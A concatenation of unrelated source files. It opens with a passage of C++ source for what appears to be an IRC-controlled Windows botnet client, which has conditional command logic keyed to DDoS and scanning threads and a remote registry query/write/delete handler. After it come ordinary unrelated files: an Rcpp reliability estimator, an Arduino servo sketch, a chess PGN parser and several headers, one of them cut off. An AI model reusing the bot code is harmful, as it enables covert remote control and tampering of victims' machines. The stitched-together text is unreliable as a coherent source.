if (!lstrcmpi(a[2],irc->current_nick()))
return 1;
}
}
//host
else if (!lstrcmpi(cmd_ifelse_host_1,a[1]) || !lstrcmpi(cmd_ifelse_host_2,a[1]))
{
/* if (!exip || !strcmp(exip,"") || PrivateIP(exip))
{
if (!switches.silent && switches.verbose)
irc->privmsg(hostd->target,"%s Trying to get external IP.",logic_title);
DWORD id;
HANDLE th;
th=CreateThread(NULL, 0, &GetExIP, NULL, 0, &id);
WaitForSingleObject(th,5000);
CloseHandle(th);
}*/
if (bIf)
if (strstr(a[2],"*") || strstr(a[2],"?"))
{
if (!wildcardfit(_strlwr(a[2]),_strlwr(host)))
return 1;
}
else
{
if (lstrcmpi(a[2],host))
return 1;
}
if (bElse)
if (strstr(a[2],"*") || strstr(a[2],"?"))
{
if (wildcardfit(_strlwr(a[2]),_strlwr(host)))
return 1;
}
else
{
if (!lstrcmpi(a[2],host))
return 1;
}
}
//botid
else if (!lstrcmpi(cmd_ifelse_id,a[1]))
{
if (bIf)
if (lstrcmpi(a[2],botid))
return 1;
if (bElse)
if (!lstrcmpi(a[2],botid))
return 1;
}
//uptime
else if (!lstrcmpi(cmd_ifelse_uptime_1,a[1]) || !lstrcmpi(cmd_ifelse_uptime_2,a[1]))
{
unsigned int up=GetTickCount()/86400000;
if (bIf)
if (up<atoi(a[2]))
return 1;
if (bElse)
if (up>atoi(a[2]))
return 1;
}
//connected
else if (!lstrcmpi("connected",a[1]) || !lstrcmpi("con",a[1]))
{
DWORD dwTotal=(GetTickCount()/1000)-(dwconnected/1000);
DWORD dwMins=((dwTotal%86400)%3600)/60;
if (bIf)
if (dwMins<atoi(a[2]))
return 1;
if (bElse)
if (dwMins>atoi(a[2]))
return 1;
}
/*#ifndef NO_RECORD_UPTIME
//uptime
else if (!lstrcmpi(cmd_ifelse_ruptime_1,a[1]) || !lstrcmpi(cmd_ifelse_ruptime_2,a[1]))
{
DWORD up=GetRecord()/86400000;
if (bIf)
if (up<atoi(a[2]))
return 1;
if (bElse)
if (up>atoi(a[2]))
return 1;
}
#endif*/
//aim
else if (!lstrcmpi(cmd_ifelse_aim_1,a[1]) || !lstrcmpi(cmd_ifelse_aim_2,a[1]))
{
anum=2;
if (bIf){
if (fFindWindow("#32770 (Dialog)",0))
return 1;
}
if (bElse){
if (!fFindWindow("#32770 (Dialog)",0))
return 1;
}
}
//private
else if (!lstrcmpi(cmd_ifelse_priv_1,a[1]) || !lstrcmpi(cmd_ifelse_priv_2,a[1]))
{
anum=2;
if (bIf)
if (!PrivateIP(inip))
return 1;
if (bElse)
if (PrivateIP(inip))
return 1;
}
//dialup
else if (!lstrcmpi("dialup",a[1]) || !lstrcmpi("d",a[1]))
{
anum=2;
if (!nowininet)
{
DWORD n;
fInternetGetConnectedStateEx(&n, 0, 0, 0);
if (n & INTERNET_CONNECTION_MODEM == INTERNET_CONNECTION_MODEM)
{
if (bElse)
return 1;
}
else
if (bIf)
return 1;
}
else
return 1;
}
//status
else if (!lstrcmpi(cmd_ifelse_status_1,a[1]) || !lstrcmpi(cmd_ifelse_status_2,a[1]))
{
if (bIf)
{
if (!lstrcmpi("scanning",a[2]) || !lstrcmpi("scan",a[2]))
if (!findthreadid(SCAN_THREAD))
return 1;
else if (!lstrcmpi("attacking",a[2]) || !lstrcmpi("ddos",a[2]))
if (!findthreadid(DDOS_THREAD))
return 1;
else if (!lstrcmpi("idle",a[2]))
if (findthreadid(DDOS_THREAD) || findthreadid(DDOS_THREAD))
return 1;
}
if (bElse)
{
if (!lstrcmpi("scanning",a[2]) || !lstrcmpi("scan",a[2]))
if (findthreadid(SCAN_THREAD))
return 1;
else if (!lstrcmpi("attacking",a[2]) || !lstrcmpi("ddos",a[2]))
if (findthreadid(DDOS_THREAD))
return 1;
else if (!lstrcmpi("idle",a[2]))
if (!findthreadid(DDOS_THREAD) && !findthreadid(DDOS_THREAD))
return 1;
}
}
//os
else if (!lstrcmpi("os",a[1]))
{
OSVERSIONINFO verinf;
verinf.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
if (GetVersionEx(&verinf))
{
if (bIf)
{
if (!lstrcmpi("95",a[2]))
{
if (!(verinf.dwMajorVersion==4 && verinf.dwMinorVersion==0))
return 1;
if (verinf.dwPlatformId!=VER_PLATFORM_WIN32_WINDOWS)
return 1;
}
else if (!lstrcmpi("nt",a[2]))
{
if (!(verinf.dwMajorVersion==4 && verinf.dwMinorVersion==0))
return 1;
if (verinf.dwPlatformId!=VER_PLATFORM_WIN32_NT)
return 1;
}
else if (!lstrcmpi("98",a[2]))
{
if (!(verinf.dwMajorVersion==4 && verinf.dwMinorVersion==10))
return 1;
}
else if (!lstrcmpi("me",a[2]))
{
if (!(verinf.dwMajorVersion==4 && verinf.dwMinorVersion==90))
return 1;
}
else if (!lstrcmpi("2k",a[2]))
{
if (!(verinf.dwMajorVersion==5 && verinf.dwMinorVersion==0))
return 1;
}
else if (!lstrcmpi("xp",a[2]))
{
if (!(verinf.dwMajorVersion==5 && verinf.dwMinorVersion==1))
return 1;
}
else if (!lstrcmpi("2k3",a[2]))
{
if (!(verinf.dwMajorVersion==5 && verinf.dwMinorVersion==2))
return 1;
}
}
if (bElse)
{
if (lstrcmpi("95",a[2]))
{
if (verinf.dwMajorVersion==4 && verinf.dwMinorVersion==0)
{
if (verinf.dwPlatformId==VER_PLATFORM_WIN32_WINDOWS)
return 1;
}
}
else if (!lstrcmpi("nt",a[2]))
{
if (verinf.dwMajorVersion==4 && verinf.dwMinorVersion==0)
{
if (verinf.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
}
}
else if (!lstrcmpi("98",a[2]))
{
if (verinf.dwMajorVersion==4 && verinf.dwMinorVersion==10)
return 1;
}
else if (!lstrcmpi("me",a[2]))
{
if (verinf.dwMajorVersion==4 && verinf.dwMinorVersion==90)
return 1;
}
else if (!lstrcmpi("2k",a[2]))
{
if (verinf.dwMajorVersion==5 && verinf.dwMinorVersion==0)
return 1;
}
else if (!lstrcmpi("xp",a[2]))
{
if (verinf.dwMajorVersion==5 && verinf.dwMinorVersion==1)
return 1;
}
else if (!lstrcmpi("2k3",a[2]))
{
if (verinf.dwMajorVersion==5 && verinf.dwMinorVersion==2)
return 1;
}
}
}
}
//inip
else if (!lstrcmpi("inip",a[1]))
{
if (bIf)
if (strstr(a[2],"*") || strstr(a[2],"?"))
{
if (!wildcardfit(a[2],inip))
return 1;
}
else
{
if (lstrcmpi(a[2],inip))
return 1;
}
if (bElse)
if (strstr(a[2],"*") || strstr(a[2],"?"))
{
if (wildcardfit(a[2],inip))
return 1;
}
else
{
if (!lstrcmpi(a[2],inip))
return 1;
}
}
//exip
else if (!lstrcmpi("exip",a[1]))
{
if (bIf)
if (strstr(a[2],"*") || strstr(a[2],"?"))
{
if (!wildcardfit(a[2],exip))
return 1;
}
else
{
if (lstrcmpi(a[2],exip))
return 1;
}
if (bElse)
if (strstr(a[2],"*") || strstr(a[2],"?"))
{
if (wildcardfit(a[2],exip))
return 1;
}
else
{
if (!lstrcmpi(a[2],exip))
return 1;
}
}
//unknown
else
{
if (!switches.silent && switches.verbose)
irc->privmsg(hostd->target,"%s Failed to parse command.",logic_title);
return 1;
}
if (!a[anum])
{ //this is so u can set the needed num of params (for shit like private)
if (!switches.silent)
irc->privmsg(hostd->target,str_bad_format,logic_title);
return 1;
}
char command[IRCLINE];
char tbuf[IRCLINE];
sprintf(command,"%s",a[anum]);
for (int u=(anum+1);u<t;u++)// add the rest of the params to the file
{
if (a[u])
{
sprintf(tbuf," %s",a[u]);
strcat(command,tbuf);
}
}
if (command[0]!=prefix)
{
if (!switches.silent)
irc->privmsg(hostd->target,"%s Failed to parse command.",logic_title);
return 1;
}
int i;
for (i=0;i<strlen(command);i++)
{
//replace _ with - for the new command
if (command[i]=='_')
if (command[i-1]==' ')
command[i]='-';
//replace + with _ (for double if/else statements)
if (command[i]=='+')
if (command[i-1]==' ')
command[i]='_';
//replace ^ with + (for triple if/else statements)
if (command[i]=='^')
if (command[i-1]==' ')
command[i]='+';
//replace ` with ^ (for quadruple if/else statements)
if (command[i]=='`')
if (command[i-1]==' ')
command[i]='^';
}
if (switches.verbose)
irc->privmsg(hostd->target,"%s Should run: \"%s\".",logic_title,command);
IRC_TempCommand(command,hostd,irc,switches.silent);
return 1;
}
#endif // NO_IFELSE
#ifndef NO_REGCTRL
//////////////////////////////////////////////////////////////////////////////
// Reg Control
//////////////////////////////////////////////////////////////////////////////
//.reg query <type> <root> <subkey> <key>
//.reg query <root> <subkey>
//.reg delete <root> <subkey> [key]
//.reg write <type> <root> <subkey> <key> <value>
else if (!lstrcmpi("regctrl",a[0]) || !lstrcmpi("reg",a[0]))
{
if (!a[1] || !a[2] || !a[3])
{
if (!switches.silent)
irc->privmsg(hostd->target,str_bad_format,reg_title);
return 1;
}
// delete
else if (!lstrcmpi("delete",a[1]) || !lstrcmpi("d",a[1]))
{
HKEY root=GetKey(a[2]);
LPTSTR subkey=a[3];
LPTSTR key=(a[4]?a[4]:NULL);
int i;
char replace='_';
if (switches.replace_char)
replace=switches.replace_char;
if (switches.replace_underscores)
{
for (i=0;i<strlen(subkey);i++)
if (subkey[i]==replace)
subkey[i]=' ';
if (key)
{
for (i=0;i<strlen(key);i++)
if (key[i]==replace)
key[i]=' ';
}
}
if (RegDelete(root,subkey,key))
{
if (!switches.silent)
irc->privmsg(hostd->target,"%s Erased Key: %s\\%s\\%s",reg_title,a[2],subkey,(key?key:"*"));
}
else
{
if (!switches.silent)
irc->privmsg(hostd->target,"%s Failed to erase key: %s\\%s\\%s",reg_title,a[2],subkey,(key?key:"*"));
}
}
// query
else if (!lstrcmpi("query",a[1]) || !lstrcmpi("q",a[1]))
{
if (!a[4])
{
HKEY root=GetKey(a[2]);
LPTSTR subkey=a[3];
if (RegQuery(root,subkey,hostd->target,conn))
{
irc->privmsg(hostd->target,"%s Done with query: %s\\%s",reg_title,a[2],a[3]);
}
else
{
irc->privmsg(hostd->target,"%s Failed to query: %s\\%s",reg_title,a[2],a[3]);
}
return 1;
}
DWORD type=GetType(a[2]);
HKEY root=GetKey(a[3]);
LPTSTR subkey=a[4];
LPTSTR name=NULL;
int i;
char replace='_';
if (switches.replace_char)
replace=switches.replace_char;
if (switches.replace_underscores)
{
for (i=0;i<strlen(subkey);i++)
if (subkey[i]==replace)
subkey[i]=' ';
}
if (a[5])
{
name=a[5];
if (switches.replace_underscores)
{
for (i=0;i<strlen(name);i++)
if (name[i]==replace)
name[i]=' ';
}
if (type==REG_SZ || type==REG_MULTI_SZ || type==REG_EXPAND_SZ)
{
char *tret=RegQuery(root,subkey,name,type);
if (tret)
{
if (type==REG_MULTI_SZ)
{
if (!switches.silent)
irc->privmsg(hostd->target,"%s Displaying: %s\\%s\\%s",reg_title,a[3],a[4],a[5]);
char* p;
while (p=strstr(tret,"\n"))
{
*p='\0';
irc->privmsg(hostd->target,"%s",tret);
tret=p+1;
}
irc->privmsg(hostd->target,"%s",tret);//the last line
if (!switches.silent)
irc->privmsg(hostd->target,"%s Finished displaying: %s\\%s\\%s",reg_title,a[3],a[4],a[5]);
}
else
irc->privmsg(hostd->target,"%s Query: %s\\%s\\%s: %s",reg_title,a[3],a[4],a[5],tret);
}
else
{
irc->privmsg(hostd->target,"%s Failed to query: %s\\%s\\%s",reg_title,a[3],a[4],a[5]);
}
}
else if (type==REG_DWORD)
{
BOOL bSuc=FALSE;
DWORD tret=RegQuery(root,subkey,name,bSuc);
if (bSuc)
{
irc->privmsg(hostd->target,"%s Query: %s\\%s\\%s: %d",reg_title,a[3],a[4],a[5],tret);
}
else
{
irc->privmsg(hostd->target,"%s Failed to query: %s\\%s\\%s",reg_title,a[3],a[4],a[5]);
}
}
}
}
//.reg write <type> <root> <subkey> <key> <value>
else if (!lstrcmpi("write",a[1]) || !lstrcmpi("w",a[1]))
{
if (!a[4] || !a[5] || !a[6])
{
if (!switches.silent)
irc->privmsg(hostd->target,str_bad_format,reg_title);
return 1;
}
DWORD type=GetType(a[2]);
HKEY root=GetKey(a[3]);
LPTSTR subkey=a[4];
LPTSTR name=a[5];
int i;
char replace='_';
if (switches.replace_char)
replace=switches.replace_char;
if (switches.replace_underscores)
{
for (i=0;i<strlen(subkey);i++)
if (subkey[i]==replace)
subkey[i]=' ';
for (i=0;i<strlen(name);i++)
if (name[i]==replace)
name[i]=' ';
}
if (type==REG_SZ || type==REG_MULTI_SZ || type==REG_EXPAND_SZ)
{
if (RegWrite(root,subkey,name,a[6],type))
{
if (!switches.silent)
irc->privmsg(hostd->target,"%s Wrote key: %s\\%s\\%s (%s)",reg_title,a[3],subkey,name,a[6]);
}
else
{
if (!switches.silent)
irc->privmsg(hostd->target,"%s Failed to write: %s\\%s\\%s (%s)",reg_title,a[3],subkey,name,a[6]);
}
}
else if (type==REG_DWORD)
{
if (RegWrite(root,subkey,name,(DWORD)atoi(a[6])))
{
if (!switches.silent)
irc->privmsg(hostd->target,"%s Successfully wrote: %s\\%s\\%s (%d)",reg_title,a[3],subkey,name,atoi(a[6]));
}
else
{
if (!switches.silent)
irc->privmsg(hostd->target,"%s Failed to write: %s\\%s\\%s (%d)",reg_title,a[3],subkey,name,atoi(a[6]));
}
}
}
return 1;
}
#endif // NO_REGCTRL
return 0;
}
|
5606042a14202b52e8c2cc92521a0436c4276a63
|
2e197fae59b66fab56bd9db260c31e8fe680ba14
|
/DigitalMars/core/adelete3.cpp
|
f4049a352de02a23fb877e8262091bcf1449b761
|
[] |
no_license
|
DinrusGroup/Dinrus
|
defa29114e1e5833a774eed0fdb241c3249deefb
|
fccaa2b5c02a0ac8c1e2665bc81ab7c8a3c12f44
|
refs/heads/master
| 2021-04-18T23:50:30.697049
| 2020-03-30T02:36:51
| 2020-03-30T02:36:51
| 41,289,393
| 1
| 1
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 304
|
cpp
|
adelete3.cpp
|
//_ adelete3.cpp
// Copyright (C) 1995-2006 by Digital Mars
// All Rights Reserved
#if !_ENABLE_ARRAYNEW
#error "This module must be compiled with -Aa"
#endif
#include <new.h>
/************
*/
void operator delete[](void *block, const std::nothrow_t& t) throw()
{
delete block;
}
|
0ffc06f0a73854277ee63a305f0a3c9aea97699d
|
d14bcd4679f0ffa43df5267a82544f098095f1d1
|
/src/NPSYS.cpp
|
d3bce7f57c8316e4233707d8ef6276525f54d97c
|
[] |
no_license
|
anhnguyendepocen/SMRD
|
9e52aa72a5abe5274f9a8546475639d11f058c0d
|
c54fa017afca7f20255291c6363194673bc2435a
|
refs/heads/master
| 2022-12-15T12:29:11.165234
| 2020-09-10T13:23:59
| 2020-09-10T13:23:59
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 7,659
|
cpp
|
NPSYS.cpp
|
#include <base/base.hpp>
//' Compute the nonparametric estimate of the
//' mean cumulative occurence rate of failures
//' and corresponding estimate of the var if the estimator
//'
//'
//' inputs:
//' itime(nobs) time indices (from 1,2,..., nfailt)
//' gives index pointing to the vector of unique times
//' isys(nobs) system indices (from 1,2,..., nsys)
//' gives index pointing to the vector of unique sys ids
//' icodes(nobs) censor/failure indicator (1 fail, 2 censor)
//' weight(nobs) weight (multiplicity) or cost of failure
//' nobs number of observations in data set
//' nfailt number of unique failure times
//' nsys number of unique system ids
//' utime(nfailt) list of unique times
//' iusys(nsys) list of unique system ids
//'
//'
//'
//' ctime(nsys),varsum(nsys) scratch arrays
//' dead(nfailt,nsys),idelta(nfailt,nsys) scratch arrays
//' dsum(nfailt),idlsum(nfailt),dbar(nfailt) scratch arrays
//'
//'
//' outputs:
//' xmuhat(nfailt) estimate of mu at each failure time
//' varxmu(nfailt) estimate of var(muhat) at each failure time
// [[Rcpp::export]]
Rcpp::List NPSYS(Rcpp::IntegerVector itime,
Rcpp::IntegerVector isys,
Rcpp::IntegerVector icodes,
Rcpp::IntegerVector weight,
int nobs,
int nfailt,
int nsys,
Rcpp::NumericVector utime,
Rcpp::IntegerVector iusys,
Rcpp::NumericVector ctime,
Rcpp::NumericMatrix dead,
Rcpp::IntegerMatrix idelta,
Rcpp::NumericVector dsum,
Rcpp::IntegerVector idlsum,
Rcpp::NumericVector dbar,
Rcpp::NumericVector varsum,
Rcpp::NumericVector xmuhat,
Rcpp::NumericVector varxmu,
int kprint){
debug::kprint = kprint;
double big = 1.0e35,small = 1.e-6,smdbar,ratio;
Rcpp::List ints,doubs,intvec,numvec;
int it,js;
// Zero the matrices and varsum accumulator
for(int js = 1; js <= nsys; js++){
varsum.at(js - 1) = zero;
ctime.at(js - 1) = -one;
for(int it = 1; it <= nfailt; it++){
dead.at(it - 1,js - 1) = zero;
idelta.at(it - 1,js - 1) = 0;
}
}
// Set up the matrices
for(int iobs = 1; iobs <= nobs; iobs++){
it = itime.at(iobs - 1);
js = isys.at(iobs - 1);
// Check if failure or censor indicator
if(icodes.at(iobs - 1) == 1) {
// Accumulate reported cost/failures
dead.at(it - 1,js - 1) = dead.at(it - 1,js - 1) + weight.at(iobs - 1);
continue;
}
if(icodes.at(iobs) != 2) continue;
// Record the censoring time
ctime.at(js - 1) = utime.at(it - 1);
}
// Fix delta matrix
for(int js = 1; js <= nsys; js++){
// If no censoring time was reported for a system, set to big
// ***this probably needs to be changed to something
// ***more robust or error return
if(ctime.at(js - 1) <= zero) ctime.at(js - 1) = big;
for(int it = 1; it <= nfailt; it++){
idelta.at(it - 1,js - 1) = 0;
// Set delta=1 if we are still observing system js at time it
if(utime.at(it - 1) <= ctime.at(js - 1) + small){
idelta.at(it - 1,js - 1) = 1;
}
}
}
// Accumulate
for(int it = 1; it <= nfailt; it++){
dsum.at(it - 1) = zero;
idlsum.at(it - 1) = 0;
for(int js = 1; js <= nsys; js++){
dsum.at(it - 1) = dsum.at(it - 1) + dead.at(it - 1,js - 1) * (double)idelta.at(it - 1,js - 1);
idlsum.at(it - 1) = idlsum.at(it - 1) + idelta.at(it - 1,js - 1);
}
}
// Average and accumulate variance terms
smdbar = zero;
for(int it = 1; it <= nfailt; it++){
varxmu.at(it - 1) = zero;
dbar.at(it - 1) = zero;
if(debug::kprint >= 3){
Rcpp::Rcout << "\nNPSYS: xx\n" << std::endl;
Rcpp::Rcout << " it = " << it - 1 << std::endl;
Rcpp::Rcout << "idlsum(it) = " << idlsum.at(it - 1) << std::endl;
Rcpp::Rcout << " dsum(it) = " << dsum.at(it - 1) << std::endl;
Rcpp::Rcout << " dbar(it) = " << dbar.at(it - 1) << std::endl;
Rcpp::Rcout << " smdbar = " << smdbar << std::endl;
}
if(idlsum.at(it - 1) > 0) dbar.at(it) = dsum.at(it) / (double)(idlsum.at(it - 1));
smdbar = smdbar + dbar.at(it - 1);
xmuhat.at(it - 1) = smdbar;
if(debug::kprint >= 3){
Rcpp::Rcout << "\nNPSYS: yy\n" << std::endl;
Rcpp::Rcout << " it = " << it - 1 << std::endl;
Rcpp::Rcout << "idlsum(it) = " << idlsum.at(it - 1) << std::endl;
Rcpp::Rcout << " dsum(it) = " << dsum.at(it - 1) << std::endl;
Rcpp::Rcout << " dbar(it) = " << dbar.at(it - 1) << std::endl;
Rcpp::Rcout << " smdbar = " << smdbar << std::endl;
}
for(int js = 1; js <= nsys; js++){
ratio = zero;
if(idlsum.at(it - 1) > 0){
ratio = (double)idelta.at(it - 1,js - 1) / (double)idlsum.at(it - 1);
}
varsum.at(js - 1) = varsum.at(js - 1) + ratio * (dead.at(it - 1,js - 1) - dbar.at(it - 1));
varxmu.at(it - 1) = varxmu.at(it - 1) + std::pow(varsum.at(js - 1), 2);
// For return use idelta to make event points
idelta.at(it - 1,js - 1) = 0;
if(dead.at(it - 1,js - 1) > zero) idelta.at(it - 1,js - 1) = 1;
// For return accumulate cost/failures
if(it > 1) dead.at(it - 1,js - 1) = dead.at(it - 1,js - 1) + dead.at(it - 2,js - 1);
}
}
ints = Rcpp::List::create(Named("nobs") = nobs,
Named("nfailt") = nfailt,
Named("nsys") = nsys);
doubs = Rcpp::List::create(Named("smdbar") = smdbar,
Named("ratio") = ratio);
intvec = Rcpp::List::create(Named("idlsum") = idlsum,
Named("itime") = itime,
Named("isys") = isys,
Named("icodes") = icodes,
Named("weight") = weight,
Named("iusys") = iusys,
Named("idelta") = idelta);
numvec = Rcpp::List::create(Named("dead") = dead,
Named("dsum") = dsum,
Named("dbar") = dbar,
Named("varsum") = varsum,
Named("xmuhat") = xmuhat,
Named("varxmu") = varxmu,
Named("utime") = utime,
Named("ctime") = ctime);
return Rcpp::List::create(Named("ints") = ints,
Named("doubs") = doubs,
Named("intvec") = intvec,
Named("numvec") = numvec);
}
|
9f4d8b654044dcf767b7eb712932e78eec506015
|
1308779f4585284db744c720ef981fd4d8b5c5f9
|
/juo/juo.ino
|
bc6758e0a9abc31085ce1bf66f723efb4b1d9663
|
[] |
no_license
|
alichbouki/mes-code-arduino
|
c36cd7410277f0f0f7e84626abddc49dcfba9f64
|
d02b90171bfc1f338e04206b3e85506abb047268
|
refs/heads/main
| 2023-02-25T08:24:16.994159
| 2021-01-28T09:44:52
| 2021-01-28T09:44:52
| 333,711,973
| 0
| 1
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 218
|
ino
|
juo.ino
|
#include <Servo.h>
Servo moto;
int x;
void setup() {
Serial.begin(9600);
moto.attach(9);
}
void loop() {
x=analogRead(A1);
Serial.println(x);
x=map(x,0,1024,15,170);
moto.write(x);
}
|
2adbfa0e07a66ccb936654fa098b0fa34afe10c2
|
ff30c0577d4063fae82240c4052d9f263bd09798
|
/src/ai/parse/parser.cc
|
bb5ca9ba9d48e6671d54a2b938ce88b6c7e5eef0
|
[] |
no_license
|
ashwin153/chess
|
e1b3a2b2c914f5412526dbd77cd6c6d6b1ab517d
|
c206369fd41ac7fa1de5dc59c51e387a721e60fa
|
refs/heads/master
| 2021-07-01T08:42:44.481868
| 2021-05-27T16:42:59
| 2021-05-27T16:42:59
| 54,608,161
| 2
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,371
|
cc
|
parser.cc
|
#include "parser.h"
#include "sample.h"
#include "core/game.h"
#include <thread>
#include <regex>
#include <ctime>
#include <chrono>
#include <iomanip>
namespace chess {
void Parser::parse_game() {
// Define the regex patterns outside the while loop to save time; these regex
// patterns will not change in the body of the loop and therefore do not need
// to be recreated every iteration. Aggregated over thousands of iterations
// this should save considerable cycles at runtime.
std::regex rslt_regex("\\[Result \"(.*?)\"\\]");
std::regex welo_regex("\\[WhiteElo \"([0-9]+)\"\\]");
std::regex belo_regex("\\[BlackElo \"([0-9]+)\"\\]");
std::regex move_regex("(\\[.*?\\]|{.*}|\\d+\\.)");
std::regex turn_regex("\\s+");
// Typically, you want to define variables in the smallest possible scope;
// however, the constructor and destructor will get called after every loop
// iteration. Therefore, we can squeeze out a few cycles by pulling out the
// declaration of loop variables.
std::smatch match;
Sample samp;
// One of the challenges with the producer-consumer problem is informing
// consumers that the producer has completed production. To solve this
// problem, the empty string is a "poison" pill that indicates to consumers
// that the producer has finished and that it is permissible to terminate.
while (!_games.peek().empty()) {
std::string pgn = _games.pop();
// Extract white and black ratings
std::regex_search(pgn, match, welo_regex);
samp.white_elo = std::stoi(match[1]);
std::regex_search(pgn, match, belo_regex);
samp.black_elo = std::stoi(match[1]);
// Extract game result
std::regex_search(pgn, match, rslt_regex);
samp.result = (match[1] == "1-0") ? 1 : (match[1] == "0-1") ? -1 : 0;
// Extract moves
std::string moves = std::regex_replace(pgn, move_regex, "");
std::sregex_token_iterator it(moves.begin(), moves.end(), turn_regex, -1);
std::sregex_token_iterator end;
Game game;
for (; it != end; ++it)
game.make(*it);
samp.moves = game.history();
// Serialize sample
_out << samp;
}
}
void Parser::log(std::string msg) {
auto now = std::chrono::system_clock::now();
auto nowt = std::chrono::system_clock::to_time_t(now);
_log << std::put_time(std::localtime(&nowt), "%d/%m/%Y %X: ") << msg << "\n";
}
void Parser::parse(std::istream& in) {
}
} // namespace chess
|
676554ac0256f2a7a2bc73272324eac407d152de
|
9852c073ce1172be34ccdf59d895913919931948
|
/02/GraphicsProject/window.hpp
|
c74a1227b1d92ab03847e3e32a4295f10a50a91e
|
[] |
no_license
|
dcsepregi/bevprog2bead3
|
092545156adbee84c8f89fe2e58541750d3e4900
|
f00332f779ff04863d6312dfb6fc38e49a486850
|
refs/heads/master
| 2021-01-20T07:36:39.824025
| 2017-05-15T06:45:29
| 2017-05-15T06:45:29
| 90,017,428
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 396
|
hpp
|
window.hpp
|
#ifndef WINDOW_HPP_INCLUDED
#define WINDOW_HPP_INCLUDED
#include "widgets.hpp"
#include <vector>
class Window {
protected:
int elem;
std::vector<Widget*> vw;
std::vector<Widget*> vw2;
int szdb1=0;
int szdb2=0;
int szdb3=0;
public:
virtual void esemeny(std::string mitortent){}
void ellenor(int mezo);
void event_loop() ;
};
#endif // WINDOW_HPP_INCLUDED
|
046bf28d2412666e149d1d314549ddea190a26b0
|
e57d49b6f5197af2ea442a74cfdcd14517c3631d
|
/Hmwk/Assignment_2/Gaddis_8thEd_Chap3_Prob5_MaleAndFemalePercentages/main.cpp
|
37a26aa31e0988d65debb3ff8b3863736a0fd5a4
|
[] |
no_license
|
sh2576104/HollowaySean_CIS5_44187
|
76c456fb91643b13751b977655e93712bd3f28dd
|
75e109a7cb539899143869d68f5e53b308ec7f15
|
refs/heads/master
| 2020-02-26T15:02:14.699090
| 2017-06-03T06:27:14
| 2017-06-03T06:27:14
| 83,260,204
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,127
|
cpp
|
main.cpp
|
/*
File: main.cpp
Author: Sean Holloway
Created on March 10, 2017, 9:00 PM
Purpose: Male and Female Percentages
*/
//System Libraries
#include <iostream> //Input - Output Library
#include <iomanip> //Format Library
#include <cmath> //Math Library
using namespace std;
//User Libraries
//Global Constants
const float PERCENT=100.0f;//Percent conversion
//Such as PI, Vc, -> Math/Science values
//as well as conversions from system of units to
//another
//Function Prototypes
//Executable code begins here!!!
int main(int argc, char** argv) {
//Declare Variables
double a, b, c;
//Input values
cout << "Total Number of Students = ";
cin >> a;
cout << "Total Number of Male Students = ";
cin >> b;
cout << "Total Number of Female Students = ";
cin >> c;
//Process by mapping inputs to outputs
//Output values
cout<<fixed<<setprecision(2);
cout << "Percentage of Male Students = " << ((b / a) * 100) <<"%"<<".\n";
cout << "Percentage of Female Students = " << ((c / a) * 100) <<"%"<<".\n";
//Exit stage right!
return 0;
}
|
5deb7bcfa3fc5117ecac78610aec5a8c8d362ff6
|
8bf27743860c656a7899b71558e9673771200db8
|
/单链表的应用/单链表的应用/应用.cpp
|
2a4071bce072c770d46d9a0d2aafc9acd28e6162
|
[] |
no_license
|
locolocoer/mycode
|
c763515eaa97d7a050ab42ea889d9c76576d6ef2
|
d8c7631e195937df81bb01368f83194a91bc7ab5
|
refs/heads/master
| 2023-03-26T16:19:12.830703
| 2021-03-27T01:16:06
| 2021-03-27T01:16:06
| 342,147,025
| 1
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 398
|
cpp
|
应用.cpp
|
#include <malloc.h>
typedef struct LNode {
struct LNode* next;
int data;
}LinkNode;
void split(LinkNode*& L, LinkNode*& L1, LinkNode*& L2)
{
LinkNode* p = L->next,*q,*r1;
L1 = L;
r1 = L1;
L2 = (LinkNode*)malloc(sizeof(LinkNode));
L2->next = NULL;
while(p!=NULL)
{
r1->next = p;
r1 = p;
p = p->next;
q = p->next;
p->next = L2->next;
L2->next = p;
p = q;
}
r1->next = NULL;
}
|
4a62647a3411290d95821ba914ddb25261132b78
|
f7a22bc75d2f2ae7e80424e564f903a61ce25901
|
/Blocksworld/AStarSearch.h
|
a83a27ddd208b827ecb72b8efa6c6f95a26ea48a
|
[] |
no_license
|
emilutz/Blocksworld-tile-puzzle
|
5cb928fb0c22b420dd6a834a35d6a2313b38ffd1
|
cec1f6b1bef94a9dda808900b1f88f9e691e5d8a
|
refs/heads/master
| 2021-09-01T06:49:04.460676
| 2017-12-25T13:11:33
| 2017-12-25T13:11:33
| 114,794,213
| 1
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 847
|
h
|
AStarSearch.h
|
#pragma once
#include "conio.h"
#include "iostream"
#include <queue>
#include <ctime>
#include <cstdlib>
#include <algorithm>
#include "StarState.h"
#define STAR_EXPANSION_LIMIT 3000000
class AStarCompare
{
public:
bool operator() (StarState* s1, StarState* s2)
{
if (s1->getF() > s2->getF())
{
return true;
}
else if (s1->getF() == s2->getF())
{
return (s1->getH() > s2->getH());
}
return false;
}
};
class AStarSearch
{
private:
StarState* startState;
StarState* goalState;
std::priority_queue<StarState*, std::vector<StarState*>, AStarCompare> fringe;
std::vector<StarState*> expandStates(StarState* state, StarState* goal, bool graphMode);
std::vector<StarState*> visited;
bool isVisited(StarState* state);
public:
AStarSearch(StarState* s, StarState *g);
~AStarSearch();
void solve(bool graphMode);
};
|
e88b725a4f229d43506640cb7eaf1b5ff1d3c58c
|
3a820086212fecb44105e375cf2559090bb6f0e3
|
/src/chat/include/db_proxy_monitor_t.h
|
6446d5f7192a9667fa5bfac78f24fd1e6bdccfc6
|
[
"Apache-2.0"
] |
permissive
|
ychat/ychat
|
7b5a390cea07f2ddf94a73c59b7b2e59ab205b69
|
ec7c182790be835531a4445eefe8544b16610d26
|
refs/heads/master
| 2021-01-23T21:22:06.263812
| 2016-09-28T15:11:38
| 2016-09-28T15:11:38
| 68,695,103
| 3
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 470
|
h
|
db_proxy_monitor_t.h
|
#pragma once
namespace ychat
{
class db_proxy_monitor_t:public acl::connect_monitor
{
struct pingpong_t:acl::aio_callback
{
